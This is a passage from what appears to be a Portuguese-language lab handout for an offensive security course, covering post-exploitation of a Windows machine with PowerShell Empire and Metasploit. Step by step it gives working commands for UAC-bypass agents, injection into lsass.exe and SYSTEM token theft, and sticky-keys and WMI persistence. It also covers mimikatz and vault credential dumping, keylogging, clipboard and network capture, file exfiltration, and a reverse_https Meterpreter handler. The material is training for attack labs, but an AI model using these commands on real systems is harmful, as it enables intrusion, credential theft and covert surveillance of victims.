criado um novo agente com a proteção de UAC (User Account Control) do Windows desativada. 5– Listar os agentes existentes. (Empire: pwned02new) > list agents Note que ao lado do Username existe um “*” no novo agente, representando um processo de integridade alta para esta sessão. 6– Interagir com o novo agente criado. (Empire: pwned02new) > agents (Empire: agents) > interact <nome do agente> Exemplo: (Empire: agents) > interact H1ZEPFHMBC3SUH1L (Empire: H1ZEPFHMBC3SUH1L) > rename pwned02newbypassuac Escalação de Privilégio 7– Migrar para um processo de sistema privilegiado. Localizar o processo lsass.exe. (Empire: pwned02newbypassuac) > ps 8 – Realizar o Injection no ID do processo correspondente ao lsass.exe. (Empire: pwned02new bypassuac) > psinject pwned <id do processo lsass.exe> Exemplo: (Empire: pwned02new bypassuac) > psinject PhishingCampaign 556 (Empire: management/psinject) > info (Empire: management/psinject) > execute Caso você tenha problema, pode roubar um token de SYSTEM para obter o privilégio de SISTEMA. (Empire: pwned02new bypassuac) > steal_token 516 (onde 516 é o PID do processo lsass.exe) Caso nenhuma das recomendações funcione, utilize o comando getsystem do EMPIRE a partir da versão 1.5. Escalação de Privilégio • 9 – Será criada uma nova sessão com privilégio de SYSTEM. Interagir e renomear a sessão. (Empire: management/psinject) > agents Note que o usuário da nova sessão é o SYSTEM. (Empire: agents) > interact <name> Exemplo: (Empire: agents) > interact MF12TPUBXHUPFU2G (Empire: MF12TPUBXHUPFU2G) > rename pwned02newsystem • Agora você possui acesso a uma sessão com controle total do computador alvo. Persistência Privilegiada Objetivo: Criar uma estrutura para manter a conexão permanente com o alvo mantendo as permissões privilegiadas obtidas. 1– Ativar o acesso remote desktop no alvo. (Empire: pwned02newsystem) > usemodule management/enable_rdp (Empire: management/enable_rdp) > execute (Empire: management/enable_rdp) > back 2– Ativar o acesso privilegiado através de Stick Keys. (Empire: pwned02newsystem) > usemodule persistence/misc/debugger (Empire: persistence/debugger/sethc) > execute (Empire: persistence/debugger/sethc) > back 3 - Acessar o computador alvo através RDP. Na tela de login pressionar a tecla SHIFT 5 vezes para exibiro shell do Windows com acesso privilegiado de SYSTEM. No shell (terminal) do Linux. rdesktop 192.168.133.144 Pressionar a tecla SHIFT 5 vezes após abrir a conexão através de RDP com o computador alvo. Persistência Privilegiada 4– Ativar persistência através de WMI. (Empire: pwned02newsystem) > usemodule persistence/elevated/wmi (Empire: persistence/elevated/wmi) > set Listener PhishingCampaignexecute (Empire: persistence/elevated/wmi) > execute (Empire: persistence/elevated/wmi) > back 5 – Reiniciar o computador alvo e observer se após 5 minutos que o computador alvo for iniciado será aberta uma nova sessão com privilégios de SYSTEM. NÃO É NECESSÁRIO LOGAR NO COMPUTADOR ALVO. 6- Interagir e renomear a sessão. (Empire: management/psinject) > agents Note que o usuário da nova sessão é o SYSTEM. (Empire: agents) > interact <name> Exemplo: (Empire: agents) > interact 3SDVCSWUC2FEEZ4A (Empire: 3SDVCSWUC2FEEZ4A) > rename pwned02psystem Agora você possui duas persistências discretas e permanentes no computador alvo. Consciência Situacional Privilegiada Objetivo: Obter a consciência situacional privilegiada para realizar ações mais efetivas no alvo. 1–Obter informações do computador alvo. (Empire: pwned02psystem) > usemodule situational_awareness/host/winenum (Empire: situational_awareness/host/winenum) > execute (Empire: situational_awareness/host/winenum) > back Qual a diferença para o winenum executado sem o privilégio administrativo? 2– Explore outras funções do módulo de consciência situacional e obtenha informações que sejam úteis para a sua exploração. Exfiltration Senhas Objetivo: Obter as senhas e representações de senhas (hash) utilizados no computador alvo. As senhas poderão ser utilizadas para o processo de movimentação lateral. 1 - Interagir com o agente pwned02psystem e confirmar se o processo que você está utilizando no agente é o lsass.exe (Empire: pwned02psystem) > sysinfo Caso não seja, crie uma nova sessão que utilize o processo lsass.exe com os privilégios de SYSTEM. Localizar o processo lsass.exe (Empire: pwned02psystem) > ps Realizar o Injection no ID do processo correspondente ao lsass.exe (Empire: pwned02p_ system) > psinject pwned <id do processo lsass.exe> Exemplo: (Empire: pwned02p_ system) > psinject pwned 526 (Empire: management/psinject) > info (Empire: management/psinject) > execute Interagir com o agente criado e voltar ao passso 1. Exfiltration Senhas 2– Obter as senhas em cleartext e as representações das senhas (hashes) expostas em memória através do mimikatz. (Empire: credentials/mimikatz/lsadump) > usemodule credentials/mimikatz/logonpasswords (Empire: credentials/mimikatz/logonpasswords) > execute (Empire: credentials/mimikatz/logonpasswords) > back Caso não funcione será necessário realizar o downgrade do wcdigest e bloquear a tela do computador alvo se o mesmo utilizar o Microsoft Windows 8.1 ou reiniciar o computador alvo se o mesmo utilizar o Windows 10. (Empire: credentials/mimikatz/lsadump) > usemodule management/wdigest_downgrade (Empire: management/wdigest_downgrade) > execute (Empire: management/wdigest_downgrade) > back Bloqueie a estação de trabalho do usuári com usemodule management/lock Repetir o passo 2 após o usuário alvo desbloquear a tela ou logar no computador alvo. 3– Obter as representações das senhas (hashes) expostas em memória através do lsadump. (Empire: pwned02psystem) > usemodule credentials/mimikatz/lsadump (Empire: credentials/mimikatz/lsadump) > execute (Empire: credentials/mimikatz/lsadump) > back Exfiltration Senhas 4 – Obter as senhas em cleartext do Vault do Windows (senhas armazenadas no Internet Explorer, Outlook e outros programas clientes). (Empire: pwned02psystem) > usemodule credentials/vault_credential (Empire: credentials/vault_credential) > execute (Empire: credentials/vault_credential) > back 5– Verifque as credenciais obtidas. (Empire: pwned02psystem) > creds Exfiltration Monitoramento Objetivo: Monitorar o computador alvo para identificar informações valiosas e informações que poderão ser utilizadas em outras fases do ataque. 1 – Migre o seu processo para o processo do contexto do usuário (explorer.exe) que será monitorado. Localizar o processo explorer.exe (Empire: pwned02psystem) > ps Realizar o Injection no ID do processo explorer.exe. (Empire: pwned01_new_ bypassuac) > psinject pwned <id do processo explorer.exe> Exemplo: (Empire: pwned01_new_ bypassuac) > psinject pwned 560 (Empire: management/psinject) > info (Empire: management/psinject) > execute Interagir com o novo agente criado. (Empire: management/psinject) > agents (Empire: agents) > interact VRPEXXLABDNUR13N (Empire: VRPEXXLABDNUR13N) > rename pwned02explorer Exfiltration Monitoramento 2– Ativar o Keylogger. (Empire: pwned02explorer) > usemodule collection/keylogger (Empire: collection/keylogger) > execute Abrir o bloco de notas no computador alvo e digitar algo para confirmar o funcionamento do keylogger. 3– Ativar o monitoramento da área de transferência. (Empire: collection/keylogger) > usemodule collection/clipboard_monitor (Empire: collection/clipboard_monitor) >execute Selecionar (CTR+A) e copiar (CTR+C) o conteúdo do texto digitado no bloco de dados para confirmar o funcionamento do clipboard_monitor. Exfiltration Monitoramento 4– Realizar um Screenshot do computador alvo. (Empire: collection/clipboard_monitor) > usemodule collection/screenshot (Empire: collection/screenshot) > execute O screenshoot será salvo em um caminho similar ao demonstrado a seguir. Output saved to ./downloads/pwned03explorer/screenshot/2015-10-14_14-36-29.png Visualizar a imagem salva. 5– Realizar o monitoramento das conexões de rede local do computador alvo. (Empire: collection/screenshot) > usemodule collection/netripper (Empire: collection/netripper) > info (Empire: collection/netripper) > set ProcessID 2128 Deverá ser utilizado o ProcessID do explorer.exe, o mesmo utilizado na etapa 1 deste exercício. (Empire: collection/netripper) > execute Acesse algum site que precisa de senha, ou algum aplicativo que solicita senha através do uso de rede e confirme se a captura é realizada. Exfiltration Arquivos Objetivo: Identificar e copiar arquivos sensíveis e críticos do computador alvo. 1 – Criar arquivo texto com o nome Confidencial no desktop do usuário do computador alvo. Abrir o arquivo e digitar a palavra senha. Salvar e fechar o arquivo. 2– Realizar busca através de palavra chave. (Empire: collection/netripper) > usemodule collection/file_finder (Empire: collection/file_finder) > info (Empire: collection/file_finder) > set Terms senha (Empire: collection/file_finder) > execute Será exibido o caminho do arquivo encontrado. Exfiltration Arquivos 3 – Realizar download do arquivo identificado no computador alvo. (Empire: collection/file_finder) > agents (Empire: agents) > interact pwned02explorer (Empire: pwned02explorer) > download C:/Users/Aluno/Desktop/confidencial.txt [+] Part of file confidencial.txt.txt from pwned03explorer saved [+] Part of file confidencial.txt.txt from pwned03explorer saved [+] Part of file confidencial.txt.txt from pwned03explorer saved [*] File download of C:\Users\Aluno\Desktop\confidencial.txt.txt completed Se tudo deu certo, o arquivo será salvo em um caminho similar ao apresentado a seguir. /downloads/pwned03explorer/C:/Users/Aluno/Desktop/confidencial.txt Visualize o conteúdo do arquivo abrindo um novo shell (terminal) e digitando o comando apresentado a seguir. cat /downloads/pwned03explorer/C:/Users/Aluno/Desktop/confidencial.txt Integrando com o Metasploit 1– Prepare o multi/handler no metasploit msfconsole msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 10.0.0.200 (IP DO SEU KALI) msf exploit(handler) > set LPORT 443 msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j –z 2– Realizar o injection . (Empire: listeners) > injectshellcode
Compartilhar